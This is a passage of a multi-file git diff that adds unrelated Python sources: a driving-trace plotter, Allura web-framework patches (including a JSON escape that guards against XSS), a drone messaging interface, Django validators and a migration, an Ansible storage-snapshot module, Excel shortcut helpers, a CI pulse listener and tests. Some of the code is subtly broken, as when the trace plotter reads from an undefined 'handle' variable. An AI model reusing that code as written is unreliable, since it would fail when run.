IS_AUTO_MODE = True + else: + IS_AUTO_MODE = False + + DRIVING_MODE_TEXT = str(chassis_data.driving_mode) + + +def localization_callback(localization_data): + global GPS_X + global GPS_Y + global IS_AUTO_MODE + if IS_AUTO_MODE: + GPS_X.append(localization_data.pose.position.x) + GPS_Y.append(localization_data.pose.position.y) + +def setup_listener(node): + node.create_reader(CHASSIS_TOPIC, chassis_pb2.Chassis, chassis_callback) + node.create_reader(LOCALIZATION_TOPIC, + localization_pb2.LocalizationEstimate, + localization_callback) + while not cyber.is_shutdown(): + time.sleep(0.002) + +def update(frame_number): + global GPS_X + global GPS_Y + if IS_AUTO_MODE and len(GPS_X) > 1: + min_len = min(len(GPS_X), len(GPS_Y)) - 1 + GPS_LINE.set_data(GPS_X[-min_len:], GPS_Y[-min_len:]) + +if __name__ == '__main__': + import argparse + parser = argparse.ArgumentParser( + description="""A visualization tool that can plot a manual driving trace produced by the rtk_player tool, + and plot the autonomous driving trace in real time. + The manual driving trace is the blue lines, and the autonomous driving trace is the red lines. + It is visualization a way to verify the precision of the autonomous driving trace. + If you have a cyber record file, you can play the record and the tool will plot the received localization + message in realtime. To do that, start this tool first with a manual driving trace, and then + play record use another terminal with the following command [replace your_file.record to your + own record file]: cyber_record play -f your_file.record + """) + parser.add_argument( + "trace", + action='store', + type=str, + help='the manual driving trace produced by rtk_player') + + args = parser.parse_args() + + fig, ax = plt.subplots() + + with open(args.trace, 'r') as fp: + trace_data = np.genfromtxt(handle, delimiter=',', names=True) + ax.plot(trace_data['x'], trace_data['y'], 'b-', alpha=0.5, linewidth=1) + + cyber.init() + node = cyber.Node("plot_trace") + setup_listener(node) + + x_min = min(trace_data['x']) + x_max = max(trace_data['x']) + y_min = min(trace_data['y']) + y_max = max(trace_data['y']) + + GPS_LINE, = ax.plot(GPS_X, GPS_Y, 'r', linewidth=3, label="gps") + + ani = animation.FuncAnimation(fig, update, interval=100) + + plt.show() diff --git a/pool/shard008/Python/0075442_patches.py b/pool/shard008/Python/0075442_patches.py new file mode 100644 index 0000000000000000000000000000000000000000..19f91b33ca45b2b137f2db93b2321efb9e4495b8 --- /dev/null +++ b/pool/shard008/Python/0075442_patches.py @@ -0,0 +1,118 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +import re + +import webob +import tg.decorators +from decorator import decorator +from pylons import request +import mock +import simplejson + +from allura.lib import helpers as h + + +def apply(): + old_lookup_template_engine = tg.decorators.Decoration.lookup_template_engine + + @h.monkeypatch(tg.decorators.Decoration) + def lookup_template_engine(self, request): + '''Wrapper to handle totally borked-up HTTP-ACCEPT headers''' + try: + return old_lookup_template_engine(self, request) + except: + pass + environ = dict(request.environ, HTTP_ACCEPT='*/*') + request = webob.Request(environ) + return old_lookup_template_engine(self, request) + + @h.monkeypatch(tg, tg.decorators) + def override_template(controller, template): + '''Copy-pasted patch to allow multiple colons in a template spec''' + if hasattr(controller, 'decoration'): + decoration = controller.decoration + else: + return + if hasattr(decoration, 'engines'): + engines = decoration.engines + else: + return + + for content_type, content_engine in engines.iteritems(): + template = template.split(':', 1) + template.extend(content_engine[2:]) + try: + override_mapping = request._override_mapping + except AttributeError: + override_mapping = request._override_mapping = {} + override_mapping[controller.im_func] = {content_type: template} + + @h.monkeypatch(tg, tg.decorators) + @decorator + def without_trailing_slash(func, *args, **kwargs): + '''Monkey-patched to use 301 redirects for SEO''' + response_type = getattr(request, 'response_type', None) + if (request.method == 'GET' and request.path.endswith('/') + and not response_type and len(request.params) == 0): + raise webob.exc.HTTPMovedPermanently(location=request.url[:-1]) + return func(*args, **kwargs) + + @h.monkeypatch(tg, tg.decorators) + @decorator + def with_trailing_slash(func, *args, **kwargs): + '''Monkey-patched to use 301 redirects for SEO''' + response_type = getattr(request, 'response_type', None) + if (request.method == 'GET' and not(request.path.endswith('/')) + and not response_type and len(request.params) == 0): + raise webob.exc.HTTPMovedPermanently(location=request.url + '/') + return func(*args, **kwargs) + + # http://blog.watchfire.com/wfblog/2011/10/json-based-xss-exploitation.html + # change < to its unicode escape when rendering JSON out of turbogears + # This is to avoid IE9 and earlier, which don't know the json content type + # and may attempt to render JSON data as HTML if the URL ends in .html + original_tg_jsonify_GenericJSON_encode = tg.jsonify.GenericJSON.encode + escape_pattern_with_lt = re.compile( + simplejson.encoder.ESCAPE.pattern.rstrip(']') + '<' + ']') + + @h.monkeypatch(tg.jsonify.GenericJSON) + def encode(self, o): + # ensure_ascii=False forces encode_basestring() to be called instead of + # encode_basestring_ascii() and encode_basestring_ascii may likely be c-compiled + # and thus not monkeypatchable + with h.push_config(self, ensure_ascii=False), \ + h.push_config(simplejson.encoder, ESCAPE=escape_pattern_with_lt), \ + mock.patch.dict(simplejson.encoder.ESCAPE_DCT, {'<': r'\u003C'}): + return original_tg_jsonify_GenericJSON_encode(self, o) + + +# must be saved outside the newrelic() method so that multiple newrelic() +# calls (e.g. during tests) don't cause the patching to get applied to itself +# over and over +old_controller_call = tg.controllers.DecoratedController._call + + +def newrelic(): + @h.monkeypatch(tg.controllers.DecoratedController, + tg.controllers.decoratedcontroller.DecoratedController) + def _call(self, controller, *args, **kwargs): + '''Set NewRelic transaction name to actual controller name''' + import newrelic.agent + newrelic.agent.set_transaction_name( + newrelic.agent.callable_name(controller)) + return old_controller_call(self, controller, *args, **kwargs) diff --git a/pool/shard008/Python/0075447_ivy_msg_interface.py b/pool/shard008/Python/0075447_ivy_msg_interface.py new file mode 100644 index 0000000000000000000000000000000000000000..ad76e137d71e43bb827810e53cdd8da9459630b1 --- /dev/null +++ b/pool/shard008/Python/0075447_ivy_msg_interface.py @@ -0,0 +1,109 @@ +from __future__ import absolute_import, division, print_function + +from ivy.std_api import * +import logging +import os +import sys +import re + +# if PAPARAZZI_SRC not set, then assume the tree containing this +# file is a reasonable substitute +PPRZ_SRC = os.getenv("PAPARAZZI_SRC", os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), + '../../../../'))) +sys.path.append(PPRZ_SRC + "/sw/lib/python") + +from pprz_msg.message import PprzMessage +from pprz_msg import messages_xml_map + + +class IvyMessagesInterface(object): + def __init__(self, callback=None, init=True, verbose=False, bind_regex='(.*)'): + self.callback = callback + self.ivy_id = 0 + self.verbose = verbose + # make sure all messages are parsed before we start creating them in callbacks + messages_xml_map.parse_messages() + self.init_ivy(init, bind_regex) + + def stop(self): + IvyUnBindMsg(self.ivy_id) + + def shutdown(self): + self.stop() + IvyStop() + + def __init__del__(self): + try: + IvyUnBindMsg(self.ivy_id) + except: + pass + + def init_ivy(self, init=True, bind_regex='(.*)'): + if init: + IvyInit("Messages %i" % os.getpid(), "READY", 0, lambda x,y: y, lambda x,y: y) + logging.getLogger('Ivy').setLevel(logging.WARN) + IvyStart("") + self.ivy_id = IvyBindMsg(self.on_ivy_msg, bind_regex) + + def on_ivy_msg(self, agent, *larg): + """ Split ivy message up into the separate parts + Basically parts/args in string are separated by space, but char array can also contain a space: + |f,o,o, ,b,a,r| in old format or "foo bar" in new format + """ + # return if no callback is set + if self.callback is None: + return + + # first split on array delimiters + l = re.split('([|\"][^|\"]*[|\"])', larg[0]) + # strip spaces and filter out emtpy strings + l = [str.strip(s) for s in l if str.strip(s) is not ''] + data = [] + for s in l: + # split non-array strings further up + if '|' not in s and '"' not in s: + data += s.split(' ') + else: + data.append(s) + # ignore ivy message with less than 3 elements + if len(data) < 3: + return + + # check which message class it is + # pass non-telemetry messages with ac_id 0 + if data[0] in ["sim", "ground_dl", "dl"]: + if self.verbose: + print("ignoring message " + larg[0]) + sys.stdout.flush() + return + elif data[0] in ["ground"]: + msg_class = data[0] + msg_name = data[1] + ac_id = 0 + values = list(filter(None, data[2:])) + else: + try: + ac_id = int(data[0]) + except ValueError: + if self.verbose: + print("ignoring message " + larg[0]) + sys.stdout.flush() + return + msg_class = "telemetry" + msg_name = data[1] + values = list(filter(None, data[2:])) + msg = PprzMessage(msg_class, msg_name) + msg.set_values(values) + self.callback(ac_id, msg) + + def send(self, msg, ac_id=None): + if isinstance(msg, PprzMessage): + if "telemetry" in msg.msg_class: + if ac_id is None: + print("ac_id needed to send telemetry message.") + else: + IvySendMsg("%d %s %s" % (ac_id, msg.name, msg.payload_to_ivy_string())) + else: + IvySendMsg("%s %s %s" % (msg.msg_class, msg.name, msg.payload_to_ivy_string())) + else: + IvySendMsg(msg) diff --git a/pool/shard008/Python/0075450_validators.py b/pool/shard008/Python/0075450_validators.py new file mode 100644 index 0000000000000000000000000000000000000000..a1aef120155005c9eeb061bdcb88d6e4e20a4524 --- /dev/null +++ b/pool/shard008/Python/0075450_validators.py @@ -0,0 +1,79 @@ +import copy + +from django.core.exceptions import ValidationError +from django.core.validators import ( + MaxLengthValidator, MaxValueValidator, MinLengthValidator, + MinValueValidator, +) +from django.utils.deconstruct import deconstructible +from django.utils.translation import ugettext_lazy as _, ungettext_lazy + + +class ArrayMaxLengthValidator(MaxLengthValidator): + message = ungettext_lazy( + 'List contains %(show_value)d item, it should contain no more than %(limit_value)d.', + 'List contains %(show_value)d items, it should contain no more than %(limit_value)d.', + 'limit_value') + + +class ArrayMinLengthValidator(MinLengthValidator): + message = ungettext_lazy( + 'List contains %(show_value)d item, it should contain no fewer than %(limit_value)d.', + 'List contains %(show_value)d items, it should contain no fewer than %(limit_value)d.', + 'limit_value') + + +@deconstructible +class KeysValidator: + """A validator designed for HStore to require/restrict keys.""" + + messages = { + 'missing_keys': _('Some keys were missing: %(keys)s'), + 'extra_keys': _('Some unknown keys were provided: %(keys)s'), + } + strict = False + + def __init__(self, keys, strict=False, messages=None): + self.keys = set(keys) + self.strict = strict + if messages is not None: + self.messages = copy.copy(self.messages) + self.messages.update(messages) + + def __call__(self, value): + keys = set(value.keys()) + missing_keys = self.keys - keys + if missing_keys: + raise ValidationError( + self.messages['missing_keys'], + code='missing_keys', + params={'keys': ', '.join(missing_keys)}, + ) + if self.strict: + extra_keys = keys - self.keys + if extra_keys: + raise ValidationError( + self.messages['extra_keys'], + code='extra_keys', + params={'keys': ', '.join(extra_keys)}, + ) + + def __eq__(self, other): + return ( + isinstance(other, self.__class__) and + self.keys == other.keys and + self.messages == other.messages and + self.strict == other.strict + ) + + +class RangeMaxValueValidator(MaxValueValidator): + def compare(self, a, b): + return a.upper > b + message = _('Ensure that this range is completely less than or equal to %(limit_value)s.') + + +class RangeMinValueValidator(MinValueValidator): + def compare(self, a, b): + return a.lower < b + message = _('Ensure that this range is completely greater than or equal to %(limit_value)s.') diff --git a/pool/shard008/Python/0075459_purefb_snap.py b/pool/shard008/Python/0075459_purefb_snap.py new file mode 100644 index 0000000000000000000000000000000000000000..88e43ea29fae9f202f2035c912a8092d8e73857c --- /dev/null +++ b/pool/shard008/Python/0075459_purefb_snap.py @@ -0,0 +1,224 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +# (c) 2017, Simon Dodsley (simon@purestorage.com) +# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) + +from __future__ import absolute_import, division, print_function +__metaclass__ = type + +ANSIBLE_METADATA = {'metadata_version': '1.1', + 'status': ['preview'], + 'supported_by': 'community'} + +DOCUMENTATION = r''' +--- +module: purefb_snap +version_added: '2.6' +short_description: Manage filesystem snapshots on Pure Storage FlashBlades +description: +- Create or delete volumes and filesystem snapshots on Pure Storage FlashBlades. +author: +- Simon Dodsley (@sdodsley) +options: + name: + description: + - The name of the source filesystem. + required: true + suffix: + description: + - Suffix of snapshot name. + state: + description: + - Define whether the filesystem snapshot should exist or not. + choices: [ absent, present ] + default: present + eradicate: + description: + - Define whether to eradicate the snapshot on delete or leave in trash. + type: bool + default: 'no' +extends_documentation_fragment: +- purestorage.fb +''' + +EXAMPLES = r''' +- name: Create snapshot foo.ansible + purefb_snap: + name: foo + suffix: ansible + fb_url: 10.10.10.2 + fb_api_token: e31060a7-21fc-e277-6240-25983c6c4592 + state: present + +- name: Delete snapshot named foo.snap + purefb_snap: + name: foo + suffix: snap + fb_url: 10.10.10.2 + fb_api_token: e31060a7-21fc-e277-6240-25983c6c4592 + state: absent + +- name: Recover deleted snapshot foo.ansible + purefb_snap: + name: foo + suffix: ansible + fb_url: 10.10.10.2 + fb_api_token: e31060a7-21fc-e277-6240-25983c6c4592 + state: present + +- name: Eradicate snapshot named foo.snap + purefb_snap: + name: foo + suffix: snap + eradicate: true + fb_url: 10.10.10.2 + fb_api_token: e31060a7-21fc-e277-6240-25983c6c4592 + state: absent +''' + +RETURN = r''' +''' + +from ansible.module_utils.basic import AnsibleModule +from ansible.module_utils.pure import get_blade, purefb_argument_spec + +from datetime import datetime + +HAS_PURITY_FB = True +try: + from purity_fb import FileSystemSnapshot, SnapshotSuffix +except ImportError: + HAS_PURITY_FB = False + + +def get_fs(module, blade): + """Return Filesystem or None""" + fs = [] + fs.append(module.params['name']) + try: + res = blade.file_systems.list_file_systems(names=fs) + return res.items[0] + except Exception: + return None + + +def get_fssnapshot(module, blade): + """Return Snapshot or None""" + try: + filt = 'source=\'' + module.params['name'] + '\' and suffix=\'' + module.params['suffix'] + '\'' + res = blade.file_system_snapshots.list_file_system_snapshots(filter=filt) + return res.items[0] + except Exception: + return None + + +def create_snapshot(module, blade): + """Create Snapshot""" + if not module.check_mode: + source = [] + source.append(module.params['name']) + try: + blade.file_system_snapshots.create_file_system_snapshots(sources=source, suffix=SnapshotSuffix(module.params['suffix'])) + changed = True + except Exception: + changed = False + module.exit_json(changed=changed) + + +def recover_snapshot(module, blade): + """Recover deleted Snapshot""" + if not module.check_mode: + snapname = module.params['name'] + "." + module.params['suffix'] + new_attr = FileSystemSnapshot(destroyed=False) + try: + blade.file_system_snapshots.update_file_system_snapshots(name=snapname, attributes=new_attr) + changed = True + except Exception: + changed = False + module.exit_json(changed=changed) + + +def update_snapshot(module, blade): + """Update Snapshot""" + changed = False + module.exit_json(changed=changed) + + +def delete_snapshot(module, blade): + """ Delete Snapshot""" + if not module.check_mode: + snapname = module.params['name'] + "." + module.params['suffix'] + new_attr = FileSystemSnapshot(destroyed=True) + try: + blade.file_system_snapshots.update_file_system_snapshots(name=snapname, attributes=new_attr) + changed = True + if module.params['eradicate']: + try: + blade.file_system_snapshots.delete_file_system_snapshots(name=snapname) + changed = True + except Exception: + changed = False + except Exception: + changed = False + module.exit_json(changed=changed) + + +def eradicate_snapshot(module, blade): + """ Eradicate Snapshot""" + if not module.check_mode: + snapname = module.params['name'] + "." + module.params['suffix'] + try: + blade.file_system_snapshots.delete_file_system_snapshots(name=snapname) + changed = True + except Exception: + changed = False + module.exit_json(changed=changed) + + +def main(): + argument_spec = purefb_argument_spec() + argument_spec.update( + dict( + name=dict(required=True), + suffix=dict(type='str'), + eradicate=dict(default='false', type='bool'), + state=dict(default='present', choices=['present', 'absent']) + ) + ) + + module = AnsibleModule(argument_spec, + supports_check_mode=True) + + if not HAS_PURITY_FB: + module.fail_json(msg='purity_fb sdk is required for this module') + + if module.params['suffix'] is None: + suffix = "snap-" + str((datetime.utcnow() - datetime(1970, 1, 1, 0, 0, 0, 0)).total_seconds()) + module.params['suffix'] = suffix.replace(".", "") + + state = module.params['state'] + blade = get_blade(module) + fs = get_fs(module, blade) + snap = get_fssnapshot(module, blade) + + if state == 'present' and fs and not fs.destroyed and not snap: + create_snapshot(module, blade) + elif state == 'present' and fs and not fs.destroyed and snap and not snap.destroyed: + update_snapshot(module, blade) + elif state == 'present' and fs and not fs.destroyed and snap and snap.destroyed: + recover_snapshot(module, blade) + elif state == 'present' and fs and fs.destroyed: + update_snapshot(module, blade) + elif state == 'present' and not fs: + update_snapshot(module, blade) + elif state == 'absent' and snap and not snap.destroyed: + delete_snapshot(module, blade) + elif state == 'absent' and snap and snap.destroyed: + eradicate_snapshot(module, blade) + elif state == 'absent' and not snap: + module.exit_json(changed=False) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0075461_0015_auto_20170830_1836.py b/pool/shard008/Python/0075461_0015_auto_20170830_1836.py new file mode 100644 index 0000000000000000000000000000000000000000..a8afd4af54720db363d05bf89d04430c37ecffd3 --- /dev/null +++ b/pool/shard008/Python/0075461_0015_auto_20170830_1836.py @@ -0,0 +1,56 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.4 on 2017-08-30 22:36 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion +import mptt.fields + + +class Migration(migrations.Migration): + + dependencies = [ + ('atlas_doc', '0014_auto_20170830_1803'), + ] + + operations = [ + migrations.AddField( + model_name='page', + name='parent', + field=mptt.fields.TreeForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='atlas_doc.Page'), + ), + migrations.AddField( + model_name='version', + name='level', + field=models.PositiveIntegerField(db_index=True, default=1, editable=False), + preserve_default=False, + ), + migrations.AddField( + model_name='version', + name='lft', + field=models.PositiveIntegerField(db_index=True, default=1, editable=False), + preserve_default=False, + ), + migrations.AddField( + model_name='version', + name='rght', + field=models.PositiveIntegerField(db_index=True, default=1, editable=False), + preserve_default=False, + ), + migrations.AddField( + model_name='version', + name='tree_id', + field=models.PositiveIntegerField(db_index=True, default=1, editable=False), + preserve_default=False, + ), + migrations.AlterField( + model_name='collection', + name='parent', + field=mptt.fields.TreeForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='atlas_doc.Collection'), + ), + migrations.AlterField( + model_name='version', + name='parent', + field=mptt.fields.TreeForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='atlas_doc.Version'), + ), + ] diff --git a/pool/shard008/Python/0075464_shortcuts.py b/pool/shard008/Python/0075464_shortcuts.py new file mode 100644 index 0000000000000000000000000000000000000000..36653c90939b438084d37d344a16576a9d2324c9 --- /dev/null +++ b/pool/shard008/Python/0075464_shortcuts.py @@ -0,0 +1,126 @@ +""" +Example code showing how PyXLL and win32com can be used to register macros and +associate them to keyboard shortcuts. + +The decorator @xl_shortcut is used to decorate a macro function, and when +Excel starts win32com is used to associate that macro to a shortcut. + +Example:: + + from pyxll import xl_macro, xlcAlert + from shortcuts import xl_shortcut + + @xl_shortcut("Ctrl+Shift+H") + @xl_macro() + def my_macro(): + xlcAlert("Hello!") + +Pressing Ctrl+Shift+H calls the macro and shows the alert. + +""" +from pyxll import get_active_object +from win32com.client import Dispatch +import logging +import timer +import time + +_log = logging.getLogger(__name__) + +# the shortcuts are added in the main window loop using timer +_timer_id = None +_shortcuts_to_add = [] + + +def xl_shortcut(shortcut): + """ + A decorator that can be applied to a PyXLL macro function + that assocaiates a keyboard shortcut with the macro. + + The macro should take no arguments. + + :param shortcut: keyboard shortcut to assign to the macro, + e.g. Ctrl+Shift+R. + :return: decorator to be applied to a macro function. + """ + def make_decorator(shortcut): + # convert the shortcut into a key code OnKey understands + special_keys = { + "ctrl" : "^", + "alt" : "%", + "shift" : "+", + } + + accelerator = "" + for key in shortcut.lower().split("+"): + if key in special_keys: + accelerator += special_keys[key] + continue + + if key[0] == "f" and key[1:].isdigit(): + accelerator += "{F%s}" % key[1:] + continue + + if len(key) > 1: + raise Exception("Unrecognized shortcut %s" % shortcut) + accelerator += key + + # the decorator that will add the shortcut and macroname to the list of + # pending shortcuts to be added later. + def xl_shortcut_decorator(func): + global _timer_id + + # add the function and accelerator to the list of shortcuts to be processed + _log.debug("Adding shortcut %s -> %s" % (shortcut, func.__name__)) + _shortcuts_to_add.append((accelerator, func.__name__)) + + # start the timer to process the shortcuts list if necessary + if _timer_id is None: + _start_timer() + + return xl_shortcut_decorator + + return make_decorator(shortcut) + + +def _start_timer(timeout=300, interval=0.1): + """ + Creates and starts a timer function that adds any registered shortcuts + to Excel. + + As the COM object needed to do that may not exist at startup this + function retries a number of times. + """ + global _timer_id + + def make_timer_func(): + start_time = time.time() + def on_timer(timer_id, unused): + # when Excel is starting up and PyXLL imports its modules there + # is no Excel window, and so the COM object needed to register + # the shortcut might not be available yet. + try: + xl_window = get_active_object() + except RuntimeError: + if time.time() - start_time > timeout: + _log.error("Timed out waiting for Excel COM interface to become available.") + timer.kill_timer(timer_id) + _timer_id = None + return + + # Get the Excel application from its window + xl_app = Dispatch(xl_window).Application + + while _shortcuts_to_add: + accelerator, macroname = _shortcuts_to_add.pop() + try: + xl_app.OnKey(accelerator, macroname) + except: + _log.error("Failed to add shortcut %s -> %s" % + (accelerator, macroname), exc_info=True) + _log.debug("Finished adding shortcuts") + timer.kill_timer(timer_id) + _timer_id = None + return on_timer + + # start the timer + _timer_id = timer.set_timer(int(interval * 1000), make_timer_func()) diff --git a/pool/shard008/Python/0075469_listener.py b/pool/shard008/Python/0075469_listener.py new file mode 100644 index 0000000000000000000000000000000000000000..f81554e1dc20e1cb9c9cc062b4e4301f73521f67 --- /dev/null +++ b/pool/shard008/Python/0075469_listener.py @@ -0,0 +1,261 @@ +# -*- coding: utf-8 -*- +import asyncio + +import requests + +from cli_common.log import get_logger +from cli_common.phabricator import PhabricatorAPI +from cli_common.pulse import run_consumer +from cli_common.utils import retry +from pulselistener import task_monitoring +from pulselistener.hook import Hook +from pulselistener.hook import PulseHook + +logger = get_logger(__name__) + + +class HookPhabricator(Hook): + ''' + Taskcluster hook handling the static analysis + for Phabricator differentials + ''' + latest_id = None + + def __init__(self, configuration): + assert 'hookId' in configuration + super().__init__( + 'project-releng', + configuration['hookId'], + ) + + # Connect to Phabricator API + assert 'phabricator_url' in configuration + assert 'phabricator_token' in configuration + self.api = PhabricatorAPI( + api_key=configuration['phabricator_token'], + url=configuration['phabricator_url'], + ) + + # List enabled repositories + enabled = configuration.get('repositories', ['mozilla-central', ]) + self.repos = { + r['phid']: r + for r in self.api.list_repositories() + if r['fields']['name'] in enabled + } + assert len(self.repos) > 0, 'No repositories enabled' + logger.info('Enabled Phabricator repositories', repos=[r['fields']['name'] for r in self.repos.values()]) + + # Start by getting top id + diffs = self.api.search_diffs(limit=1) + assert len(diffs) == 1 + self.latest_id = diffs[0]['id'] + + def list_differential(self): + ''' + List new differential items using pagination + using an iterator + ''' + cursor = self.latest_id + while cursor is not None: + diffs, cursor = self.api.search_diffs( + order='oldest', + limit=20, + after=self.latest_id, + output_cursor=True, + ) + if not diffs: + break + + for diff in diffs: + yield diff + + # Update the latest id + if cursor and cursor['after']: + self.latest_id = cursor['after'] + elif len(diffs) > 0: + self.latest_id = diffs[-1]['id'] + + async def build_consumer(self, *args, **kwargs): + ''' + Query phabricator differentials regularly + ''' + while True: + + # Get new differential ids + for diff in self.list_differential(): + if diff['type'] != 'DIFF': + logger.info('Skipping differential, not a diff', id=diff['id'], type=diff['type']) + continue + + # Load revision to check the repository is authorized + rev = self.api.load_revision(diff['revisionPHID']) + repo_phid = rev['fields']['repositoryPHID'] + if repo_phid not in self.repos: + logger.info('Skipping differential, repo not enabled', id=diff['id'], repo=repo_phid) + continue + + # Create new task + await self.create_task({ + 'ANALYSIS_SOURCE': 'phabricator', + 'ANALYSIS_ID': diff['phid'] + }) + + # Sleep a bit before trying new diffs + await asyncio.sleep(60) + + +class HookCodeCoverage(PulseHook): + ''' + Taskcluster hook handling the code coverage + ''' + def __init__(self, configuration): + assert 'hookId' in configuration + self.triggered_groups = set() + super().__init__( + 'project-releng', + configuration['hookId'], + 'exchange/taskcluster-queue/v1/task-group-resolved', + '*.*.gecko-level-3._' + ) + + def is_coverage_task(self, task): + return any(task['task']['metadata']['name'].startswith(s) for s in ['build-linux64-ccov', 'build-win64-ccov']) + + def is_mozilla_central_task(self, task): + if 'GECKO_HEAD_REPOSITORY' not in task['task']['payload']['env']: + logger.warn('Received groupResolved notification for a task without GECKO_HEAD_REPOSITORY', task_id=task['status']['taskId']) + return False + + repo = task['task']['payload']['env']['GECKO_HEAD_REPOSITORY'] + + if repo != 'https://hg.mozilla.org/mozilla-central': + logger.warn('Received groupResolved notification for a non-mozilla-central coverage task', repo=repo) + return False + + return True + + def get_build_task_in_group(self, group_id): + if group_id in self.triggered_groups: + logger.info('Received duplicated groupResolved notification', group=group_id) + return None + + def maybe_trigger(tasks): + for task in tasks: + if self.is_coverage_task(task): + self.triggered_groups.add(group_id) + return task + + return None + + list_url = 'https://queue.taskcluster.net/v1/task-group/{}/list'.format(group_id) + + def retrieve_coverage_task(): + r = requests.get(list_url, params={ + 'limit': 200 + }) + r.raise_for_status() + reply = r.json() + task = maybe_trigger(reply['tasks']) + + while task is None and 'continuationToken' in reply: + r = requests.get(list_url, params={ + 'limit': 200, + 'continuationToken': reply['continuationToken'] + }) + r.raise_for_status() + reply = r.json() + task = maybe_trigger(reply['tasks']) + + return task + + try: + return retry(retrieve_coverage_task) + except requests.exceptions.HTTPError: + return None + + def parse(self, body): + ''' + Extract revisions from payload + ''' + taskGroupId = body['taskGroupId'] + + build_task = self.get_build_task_in_group(taskGroupId) + if build_task is None: + return None + + if not self.is_mozilla_central_task(build_task): + return None + + logger.info('Received groupResolved notification for coverage builds', revision=build_task['task']['payload']['env']['GECKO_HEAD_REV'], group=taskGroupId) # noqa + + return [{ + 'REVISION': build_task['task']['payload']['env']['GECKO_HEAD_REV'], + }] + + +class PulseListener(object): + ''' + Listen to pulse messages and trigger new tasks + ''' + def __init__(self, + pulse_user, + pulse_password, + hooks_configuration, + taskcluster_client_id=None, + taskcluster_access_token=None, + ): + + self.pulse_user = pulse_user + self.pulse_password = pulse_password + self.hooks_configuration = hooks_configuration + self.taskcluster_client_id = taskcluster_client_id + self.taskcluster_access_token = taskcluster_access_token + + task_monitoring.connect_taskcluster( + self.taskcluster_client_id, + self.taskcluster_access_token, + ) + + def run(self): + + # Build hooks for each conf + hooks = [ + self.build_hook(conf) + for conf in self.hooks_configuration + ] + if not hooks: + raise Exception('No hooks created') + + # Run hooks pulse listeners together + # but only use hooks with active definitions + consumers = [ + hook.build_consumer(self.pulse_user, self.pulse_password) + for hook in hooks + if hook.connect_taskcluster( + self.taskcluster_client_id, + self.taskcluster_access_token, + ) + ] + + # Add monitoring process + consumers.append(task_monitoring.run()) + + # Run all consumers together + run_consumer(asyncio.gather(*consumers)) + + def build_hook(self, conf): + ''' + Build a new hook instance according to configuration + ''' + assert isinstance(conf, dict) + assert 'type' in conf + classes = { + 'static-analysis-phabricator': HookPhabricator, + 'code-coverage': HookCodeCoverage, + } + hook_class = classes.get(conf['type']) + if hook_class is None: + raise Exception('Unsupported hook {}'.format(conf['type'])) + + return hook_class(conf) diff --git a/pool/shard008/Python/0075472_joke.py b/pool/shard008/Python/0075472_joke.py new file mode 100644 index 0000000000000000000000000000000000000000..aeeb96ce8788cd71fe2f421eaf6f7f21ef75d945 --- /dev/null +++ b/pool/shard008/Python/0075472_joke.py @@ -0,0 +1,25 @@ +import json +from random import choice + +import config +import modules +from templates.quick_replies import add_quick_reply +from templates.text import TextTemplate + + +def process(input, entities=None): + output = {} + try: + with open(config.JOKES_SOURCE_FILE) as jokes_file: + jokes = json.load(jokes_file) + jokes_list = jokes['jokes'] + message = TextTemplate(choice(jokes_list)).get_message() + message = add_quick_reply(message, 'One more!', modules.generate_postback('joke')) + message = add_quick_reply(message, 'Show me a quote.', modules.generate_postback('quote')) + message = add_quick_reply(message, 'Tell me a fact.', modules.generate_postback('fact')) + output['input'] = input + output['output'] = message + output['success'] = True + except: + output['success'] = False + return output diff --git a/pool/shard008/Python/0075474_test_checksums.py b/pool/shard008/Python/0075474_test_checksums.py new file mode 100644 index 0000000000000000000000000000000000000000..561ad6c373c4209bc3c654b7bc89787ee1ab769b --- /dev/null +++ b/pool/shard008/Python/0075474_test_checksums.py @@ -0,0 +1,42 @@ +import mock + +from docker_registry.lib import checksums +from tests.base import TestCase + + +class TestShaMethods(TestCase): + + def test_sha256_file(self): + self.assertEqual( + checksums.sha256_file(None, None), + 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855') + self.assertEqual( + checksums.sha256_file(None, 'test'), + '9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08') + + def test_compute_simple(self): + out = checksums.compute_simple(None, '') + self.assertTrue(out.startswith('sha256:')) + nl = '01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b' + self.assertTrue(out.endswith(nl)) + + out = checksums.compute_simple(None, 'test') + h = 'f2ca1bb6c7e907d06dafe4687e579fce76b37e4e93b7605022da52e6ccc26fd2' + self.assertTrue(out.endswith(h)) + + +class TestTarSum(TestCase): + + def setUp(self): + self.tar_sum = checksums.TarSum(None) + + def test_append(self): + self.tar_sum.header_fields = tuple() + member = mock.MagicMock(size=1) + tarobj = mock.MagicMock( + extractfile=mock.MagicMock(side_effect=KeyError)) + self.tar_sum.append(member, tarobj) + self.assertEqual(len(self.tar_sum.hashes), 1) + self.assertEqual( + self.tar_sum.hashes[0], + 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855') diff --git a/pool/shard008/Python/0075484_test_cors.py b/pool/shard008/Python/0075484_test_cors.py new file mode 100644 index 0000000000000000000000000000000000000000..be57b5f53c5196bee8c17cd8e4b5e942a440878b --- /dev/null +++ b/pool/shard008/Python/0075484_test_cors.py @@ -0,0 +1,74 @@ +from __future__ import unicode_literals, absolute_import, division + +from pytest import fixture + +from tests.assertions import assert_deep_equal + + +class ErrorHandler: + def 